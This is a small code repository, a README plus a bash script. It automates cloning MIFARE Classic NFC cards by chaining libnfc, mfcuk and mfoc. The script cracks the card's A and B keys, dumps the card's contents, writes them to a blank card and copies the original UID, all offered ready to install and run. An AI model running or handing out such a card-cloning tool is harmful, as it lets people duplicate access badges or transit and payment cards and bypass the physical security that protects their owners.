├── README.md └── clone.sh /README.md: -------------------------------------------------------------------------------- 1 |

2 | mcclogo 3 |

4 | 5 |

MCC

6 |

7 | A fool-proof bash script to clone MIFARE Classic card with a NFC reader 8 |

9 | 10 | # Installation 11 | ```bash 12 | adam@paradise:~$ git clone https://github.com/blackeko/mcc/ 13 | adam@paradise:~$ cd mcc && chmod +x install.sh clone.sh 14 | adam@paradise:~$ ./install.sh 15 | adam@paradise:~$ ./clone.sh 16 | ``` 17 | 18 | # About 19 | 20 | This script is nothing but the automation of the following three: 21 | 22 | - [libnfc](https://github.com/nfc-tools/libnfc) 23 | - [mfcuk](https://github.com/nfc-tools/mfcuk) 24 | - [mfoc](https://github.com/nfc-tools/mfoc) 25 | -------------------------------------------------------------------------------- /clone.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RED='\033[1;31m' # Red 4 | GR='\033[0;32m' # Green 5 | WH='\033[1;37m' # White 6 | NC='\033[0m' # No Color 7 | 8 | # banner 9 | echo -e "\t\t${RED}Mifare Classic Cloner${NC}\n" 10 | 11 | # remove previous dump files 12 | echo -e "${WH}Removing previous dump files..${NC}" 13 | eval rm -f source_dump.mfd 14 | eval rm -f dest_dump.mfd 15 | eval rm -f snapshot.mfd 16 | eval rm -f log.txt 17 | echo -e "${GR}Done${NC}\n" 18 | 19 | # ask user to press ENTER 20 | read -p "Press ENTER after placing the card to clone on the reader " enter 21 | if [[ -z $enter ]]; then 22 | echo "" 23 | else 24 | echo -e "${RED}Invalid choice${NC}" 25 | exit 1 26 | fi 27 | 28 | # --- Card to clone --- 29 | 30 | # get the UID of the card to clone 31 | echo -e "${WH}Getting UID of card to clone..${NC}" 32 | uid=$(eval nfc-list | grep UID | sed 's/.*\: //' | sed 's/ //g') 33 | 34 | if [ -z "$uid" ] 35 | then 36 | echo -e "${RED}No card on reader${NC}" 37 | exit 1 38 | else 39 | echo -e "${GR}Cart UID:${NC}" $uid "\n" 40 | fi 41 | 42 | # get A KEY 43 | echo -e "${WH}Trying to recover A key, please wait..${NC}" 44 | aKey=$(eval mfcuk -C -R 0:A -w 6 -v 3 2> /dev/null | grep 'recovered KEY' | sed 's/.*\: //' | sed 's/ //g') 45 | 46 | # check if A KEY is found 47 | if [ -z "$aKey" ] 48 | then 49 | echo -e "${RED}Card key A not recovered${NC}" 50 | exit 1 51 | else 52 | echo -e "${GR}Card A key recovered:${NC}" $aKey "\n" 53 | fi 54 | 55 | # get B KEY 56 | echo -e "${WH}Trying to recover B KEY, please wait..${NC}" 57 | eval mfoc -O source_dump.mfd -k $aKey &> /dev/null 58 | 59 | # check if B KEY is found 60 | FILE=source_dump.mfd 61 | if [ -s $FILE ]; then 62 | echo -e "${GR}Card B key recovered${NC}\n" 63 | else 64 | echo -e "${RED}Card key A not recovered${NC}" 65 | exit 1 66 | fi 67 | 68 | # compute date and md5 hash 69 | date=$(eval date) 70 | md5=$(eval md5sum source_dump.mfd) 71 | 72 | # write information to log.txt 73 | echo "Date:" $date > log.txt 74 | echo "MD5:" $md5 >> log.txt 75 | echo "UID:" $uid >> log.txt 76 | echo "A key:" $aKey >> log.txt 77 | 78 | echo -e "${WH}Remove the card${NC}\n" 79 | 80 | # --- Brand new card UID writable --- 81 | 82 | # ask user to press ENTER 83 | read -p "Press ENTER after placing the new card on the reader " enter 84 | if [[ -z $enter ]]; then 85 | echo -e "\n${WH}Dumping destination card, please wait..${NC}" 86 | else 87 | echo -e "${RED}Invalid choice${NC}" 88 | exit 1 89 | fi 90 | 91 | # dump destination card 92 | eval mfoc -O dest_dump.mfd > /dev/null 93 | 94 | # check mfoc output 95 | FILE=dest_dump.mfd 96 | if [ -s $FILE ]; then 97 | echo -e "${GR}Destination card dump done${NC}\n" 98 | else 99 | echo -e "${RED}Destination card dump not done${NC}" 100 | exit 1 101 | fi 102 | 103 | # write the destination card and the UID 104 | echo -e "${WH}Writing data to the new card${NC}" 105 | eval nfc-mfclassic w a dest_dump.mfd source_dump.mfd > /dev/null 106 | eval nfc-mfsetuid $uid > /dev/null 107 | 108 | # exit 109 | echo -e "${GR}Card successfully cloned${NC}" 110 | exit 1 --------------------------------------------------------------------------------